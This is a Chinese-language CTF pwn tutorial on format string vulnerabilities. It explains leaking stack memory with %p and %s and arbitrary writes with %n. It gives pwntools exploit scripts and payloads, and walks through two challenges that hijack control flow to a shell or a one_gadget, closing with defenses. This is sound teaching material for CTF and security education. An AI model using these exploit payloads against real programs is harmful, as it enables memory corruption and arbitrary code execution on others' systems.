CTF-pwn 技术总结(2)
字数 1890 2025-08-07 08:22:15
格式化字符串漏洞详解与利用技术
一、格式化字符串漏洞概述
格式化字符串漏洞是由于程序员错误使用格式化输出函数(如printf)导致的漏洞。当开发者直接使用用户输入作为格式化字符串参数时,攻击者可以构造特殊的输入来读取或修改内存内容。
漏洞成因
正确写法:
char str[100];
scanf("%s", str);
printf("%s", str);
漏洞写法:
char str[100];
scanf("%s", str);
printf(str); // 直接使用用户输入作为格式化字符串
二、常见的格式化字符串函数
输出类函数
printf:输出到stdoutfprintf:输出到指定FILE流vprintf:根据参数列表格式化输出到stdoutvfprintf:根据参数列表格式化输出到指定FILE流sprintf:输出到字符串snprintf:输出指定字节数到字符串vsprintf:根据参数列表格式化输出到字符串vsnprintf:根据参数列表格式化输出指定字节到字符串setproctitle:设置argvsyslog:输出日志err,verr,warn,vwarn等
三、漏洞利用技术
1. 泄露栈上内容
%x:获取对应栈的内存(建议使用%p,可以不用考虑位数区别)%s:获取变量所对应地址的内容(有零截断问题)%order$x:获取指定参数的值%order$s:获取指定参数对应地址的内容
示例1:
#include<stdio.h>
int main() {
char a[100];
scanf("%s",a);
printf(a);
return 0;
}
输入多个%p可以泄露栈内容,输入多个%s可能导致程序崩溃(如果对应位置不是有效字符串地址)。
2. 覆盖内存(任意地址写)
使用%n格式化符可以将之前输出的字符数写入指定地址:
%n:写入4字节%hn:写入2字节%hhn:写入1字节
覆盖公式:
%[num]c + %[order]$n + [填充字符] + [覆盖的地址]
其中:
[order]:覆盖地址在格式化字符串中的参数位置[num]:要修改的值的十进制数[填充字符]:使payload满足4/8字节对齐
示例2:
#include <stdio.h>
int main() {
int flag = 0x1234;
char s[100];
printf("%p\n", &flag);
scanf("%s", s);
printf(s);
if(flag == 0xdead)
printf("\ngood job!\n");
return 0;
}
利用步骤:
- 获取flag地址(题目已给出)
- 计算
[num] = 0xdead = 57005 - 确定输入字符串在栈上的位置(本例中为第8个参数)
- 构造payload:
%57005c%10$n + aaaa + p64(flag_addr)
Python利用代码:
from pwn import *
context.log_level = 'debug'
p = process('./fmt_test4')
flag_addr = int(p.recvline().strip(), 16)
payload = '%57005c%10$naaaa' + p64(flag_addr)
p.sendline(payload)
p.interactive()
四、高级利用技术
1. 多阶段覆盖
当需要覆盖大地址值时(如libc地址),可以分多次写入:
# 写入高字节
num = (one_addr & 0xff0000) >> 16
cover(num, save_main_ret + 2, 1)
# 写入低字节
num = (one_addr & 0xffff)
cover(num, save_main_ret, 2)
2. pwntools辅助函数
pwnlib.fmtstr.fmtstr_payload可以简化payload构造:
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
参数:
offset:控制的第一个格式化程序的偏移量writes:{addr: value}字典numbwritten:printf已写入的字节数write_size:'byte'、'short'或'int'(对应hhn、hn或n)
示例:
>>> fmtstr_payload(1, {0x0: 0x00000001}, write_size='byte')
b'%1c%3$na\x00\x00\x00\x00'
五、漏洞检测工具
推荐使用IDA插件LazyIDA检测格式化字符串漏洞:
- 下载地址:https://github.com/L4ys/LazyIDA
- 能检测大多数格式化字符串漏洞模式
六、实战案例分析
案例1:PWN梦空间-snow
题目特点:
- 仅能利用一次的格式化字符串漏洞
- .text段为RWX(可读可写可执行)
- 存在后门函数
system('/bin/sh')
利用思路:
- 使用格式化字符串漏洞修改main函数汇编
- 将
0x4008b0处的mov eax,0改为jmp 0x4008b7 - 只需修改2字节为
EB 05(十进制1515)
EXP:
from pwn import *
context.log_level = 'debug'
p = process('./snow')
sla('you?\n', b'%1515c%43$naaaa')
p.interactive()
案例2:logging
题目特点:
- 保护全开(RELRO、Canary、NX、PIE)
- 无限循环的格式化字符串漏洞
- 可无限次泄露地址
利用思路:
- 泄露main函数返回地址、rbp值和logging函数返回地址
- 计算libc基址、程序基地址和栈地址
- 覆盖main返回地址为one_gadget
- 覆盖logging返回地址为main返回地址以跳出循环
关键步骤:
# 泄露libc地址
main_ret = leak('AAAA%27$p')
libc_main_addr = main_ret - 240
libc_base = libc_main_addr - libc.symbols['__libc_start_main']
# 泄露栈地址
rbp = leak('AAAA%16$p')
save_logging_ret = rbp - 0x48
save_main_ret = rbp + 0x8
# 分阶段覆盖
num = (one_addr & 0xff0000) >> 16
cover(num, save_main_ret + 2, 1)
num = (one_addr & 0xffff)
cover(num, save_main_ret, 2)
# 修改返回地址跳出循环
num = (leave_addr & 0xffff)
cover(num, save_logging_ret, 2)
七、防御措施
- 正确使用格式化函数:永远不要使用用户输入直接作为格式化字符串
- 编译器警告:开启编译器警告(如gcc的
-Wformat-security) - 静态分析:使用静态分析工具检测潜在漏洞
- 动态保护:启用FORTIFY_SOURCE等保护机制
八、总结
格式化字符串漏洞利用技术要点:
- 信息泄露:使用
%p、%s等泄露内存内容 - 任意地址写:使用
%n系列格式化符修改内存 - 参数定位:准确确定目标地址在栈上的位置
- 分阶段写入:对于大地址值采用多次写入策略
- 工具辅助:善用pwntools和调试工具简化利用过程
掌握这些核心技术点,就能灵活应对各种格式化字符串漏洞场景。